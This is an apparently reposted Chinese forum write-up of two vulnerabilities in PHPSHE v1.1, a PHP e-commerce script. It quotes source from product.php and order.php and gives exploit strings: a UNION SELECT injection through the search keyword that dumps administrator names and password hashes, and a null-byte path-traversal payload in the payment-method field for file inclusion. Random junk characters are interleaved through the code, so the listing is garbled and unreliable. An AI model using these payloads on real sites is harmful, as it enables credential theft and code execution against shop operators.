b! e* n3 d0 U4 A+ E& ^
0×02 搜索注入
% D$ S k/ z; n; `
<code id="code2">
//product.php文件
case 'list':8 d# k) a" V' V) b' E; U3 c
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索) ~3 M' f, F6 }4 @. U- U k
$sqlwhere = " and `product_state` = 1";* S! D7 A& `: d* P% f+ ?4 w) I
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";& q6 I9 [$ H2 L! c2 V6 f4 C
}. I1 O+ p" P) i A+ \
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {0 z( x1 x+ N+ V$ A& l, A5 \# j' j
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";9 Z! I; ?& G8 G. A4 U' H6 \; m; c9 d
}
else {
$sqlwhere .= " order by `product_id` desc";9 M" o9 L7 ~: H0 h! A3 g
}3 E, M; f, [6 P3 E, Z6 m! l4 F" u
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));+ P0 @) R1 \. O7 D, Q
//热卖排行/ I& @/ i9 k- E' |6 @5 V
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);4 Q) A; R2 W7 W* I1 |$ r
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));+ I/ A$ q2 q) S+ D5 _
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())( m+ u. K: s3 @ j' W/ G
{2 F& r4 f: `+ D; P/ ^1 z
//处理条件语句: O% R. D) _4 Y# X0 |6 j
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);2 ]* @# L- t* q. H& U$ {
}. P" T3 @; o3 [, q
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1# b3 ?6 Q8 x, F7 D
</code>
0×03 包含漏洞2+ D! u3 T8 H7 A7 g( E7 r
: Q3 f+ L& v3 y) n& c* N! \1 u# V
<code id="code3">
//order.php
case 'pay':
$order_id = pe_dbhold($_g_id);
' @8 U, p- a3 \; ^7 ?
$cache_payway = cache::get('payway');
foreach($cache_payway as $k => $v) {
/ q" d; W6 ? [
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
, v+ o' `5 \' t
if ($k == 'bank') {
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
}
}
, e3 t# ^3 Z/ L* { Y4 a* f
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
+ Q) `/ X; h5 [$ I! V
!$order['order_id'] && pe_error('订单号错误...');
9 ^0 k d: V" R0 |
if (isset($_p_pesubmit)) {
5 E4 [! V1 S0 [4 U8 D, c1 B; ~
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
! J3 t) r) `( C" N
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
foreach ($info_list as $v) {
0 b% o, E, G; |* T$ _. Q5 w7 A! |
$order['order_name'] .= "{$v['product_name']};";. T+ q0 T0 |8 e
}
' F) t. _* k. V
echo '正在为您连接支付网站,请稍后...';
! B; r3 r7 q- t6 v
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
$ |; W2 q% d( Z3 y6 \3 d
}//当一切准备好的时候就可以进行"鸡肋包含了"
/ e- k. g: X3 \# p
else {
pe_error('支付错误...');
}
9 J5 N. Z7 G" s4 t
}
$seo = pe_seo('选择支付方式');
include(pe_tpl('order_pay.html'));
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |